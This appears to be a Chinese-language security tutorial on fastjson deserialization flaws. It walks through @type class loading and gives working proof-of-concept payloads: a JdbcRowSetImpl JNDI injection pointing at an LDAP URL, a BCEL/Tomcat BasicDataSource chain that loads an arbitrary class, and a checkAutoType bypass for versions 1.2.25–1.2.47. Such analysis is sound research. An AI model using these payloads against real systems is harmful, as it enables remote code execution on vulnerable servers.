fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。
环境搭建
Maven引用fastjson1.2.24依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
Fastjson简单使用
使用fastjson解析一个字符串
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String str = "{\"user\":\"xiaoming\",\"age\":18}";
JSONObject json = JSON.parseObject(str);
System.out.println(json);
System.out.println(json.getString("user"));
}
}
输出:
{"user":"xiaoming","age":18}
xiaoming
Fastjson+Java Bean
创建一个User类
package org.example;
public class User {
private String name;
private int age;
public User(){
System.out.println("无参构造User()");
}
public User(String name, int age) {
System.out.println("有参构造User()");
this.name = name;
this.age = age;
}
@Override
public String toString() {
System.out.println("toString()");
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
System.out.print("getName()");
return name;
}
public void setName(String name) {
System.out.println("setName()");
this.name = name;
}
public int getAge() {
System.out.println("getAge()");
return age;
}
public void setAge(int age) {
System.out.println("setAge()");
this.age = age;
}
}
这个demo实例化User,然后将对象转换成一个jaon字符串
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
User user = new User("xiaoming",18);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
在转换过程中还调用了get方法,但是这里只有转换后的键值对,不知道是从那个类进行的加工。
输出:
有参构造User()
getAge()
getName(){"age":18,"name":"xiaoming"}
发现还有一个方法支持两个参数,第二个参数传递SerializerFeature.WriteClassName
public static String toJSONString(Object object, SerializerFeature... features) {
return toJSONString(object, DEFAULT_GENERATE_FEATURE, features);
}
输出的字符串多了"@type":"org.example.User"
输出:
有参构造User()
getAge()
getName(){"@type":"org.example.User","age":18,"name":"xiaoming"}
fastjson反序列化
在DefaultJSONParser#parseObject会将@type对应的值作为类对象去加载。
demo
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String str = "{\"@type\":\"org.example.User\",\"age\":18,\"name\":\"xiaoming\"}";
System.out.println(JSON.parseObject(str));
System.out.println("-------------------------------");
System.out.println(JSON.parse(str));
}
}
JSON.parseObject()转换过程会调用set和get方法
JSON.parse()转换过程会调用set方法
输出:
无参构造User()
setAge()
setName()
getAge()
getName(){"name":"xiaoming","age":18}
-------------------------------
无参构造User()
setAge()
setName()
toString()
User{name='xiaoming', age=18}
如果在get或者set有一个危险方法那么就可以达到命令执行的效果。
JdbcRowSetImpl反序列化链
定位到com.sun.rowset.JdbcRowSetImpl#connect
发现调用了InitialContext()和lookup(),如果this.getDataSourceName()可控将会是一个JNDI注入。
跟一下getDataSourceName(),返回了dataSource
public String getDataSourceName() {
return dataSource;
}
它还有另一个set方法
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
再往上跟一下connect(),有一个set方法需要传递一个boolean类型的参数。
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
现在可以构造POC
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#T\", \"autoCommit\":false}";
JSON.parseObject(s);
}
}
FastjsonBcel反序列化链
定位到com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
满足条件会调用createClass方法。
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
跟一下createClass方法,截取$$BCEL$$后面的内容并进行decode,然后回到ClassLoader使用defineClass动态类加载
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
写一个demo尝试进行加载
public class FastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = classToByteArray("D:\\tmp\\class\\Test.class");
String code = Utility.encode(bytes, true);
classLoader.loadClass("$$BCEL$$" + code).newInstance();
}
public static byte[] classToByteArray(String className) throws Exception {
try (FileInputStream fis = new FileInputStream(className);
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) != -1) {
baos.write(buffer, 0, length);
}
return baos.toByteArray();
}
}
}
接下来想办法调用loadclass
导入tomcat依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
定位到org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory
发现调用了Class.forName,如果driverClassName和driverClassLoader可控则会加载传递的恶意类
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
两个变量都有对应的set,变量可控
找一下createConnectionFactory对应的get或者set方法
再跟一下createDataSource,找到一个get打头的方法
现在需要给Class.forname里面的两个参数赋值,然后调用这个getConnection()方法应该就可以加载传递的恶意类。
public class FastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = classToByteArray("D:\\tmp\\class\\Test.class");
String code = Utility.encode(bytes, true);
// classLoader.loadClass("$$BCEL$$" + code).newInstance();
BasicDataSource bas = new BasicDataSource();
bas.setDriverClassName("$$BCEL$$" + code);
bas.setDriverClassLoader(classLoader);
bas.getConnection();
}
构造fastjson解析进行加载
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code+"\",\"driverClassLoader\":{\"@type\":\"org.apache.bcel.util.ClassLoader\"}}";
JSON.parseObject(s);
fastjson1.2.25<=1.2.47绕过
pom改为1.2.25
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
运行JdbcRowSetImpl反序列化链的POC报错了
在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)方法里面,loadClass变成了checkAutoType
1.2.24版本为
跟进去checkAutoType,里面有很多的if判断,往下跟发现一个*TypeUtils.*getClassFromMapping**
跟进去getClassFromMapping,在mappings获取了一个缓存
回到checkAutoType,接下来如果缓存为null,又在反序列化器去寻找。
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
发现默认缓存是null,但是如果缓存是一个类,直接会返回,就能加载这个类。
查找mappings赋值的地方,发现loadClass有赋值的情况。
再看一下哪里调用了loadClass,在MiscCodec#deserialze满足(clazz ==
Class.class)会调用loadClass
MiscCodec类实现了两个接口,序列化器和反序列化器
反序列化器是在DefaultJSONParser生成的
跟进config.getDeserializer往上翻发现put了很多的类,初始化的时候会把这些类和对应的反序列化器都放进去
如果反序列化的类是Class.class就会调用MiscCodec反序列化器
deserializers.put(Class.class, MiscCodec.instance);
然后会调用到MiscCodec#deserialze里面的TypeUtils.loadClass
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
TypeUtils#loadClass()会把这个类加载,并且放到缓存里面
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
然后在ParserConfig#checkAutoType查找到了缓存,那么进入if里面返回了clazz,绕过了这个检查。
构造poc
public static void main(String[] args) {
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#T\", \"autoCommit\":false}}";
JSON.parseObject(s);
}























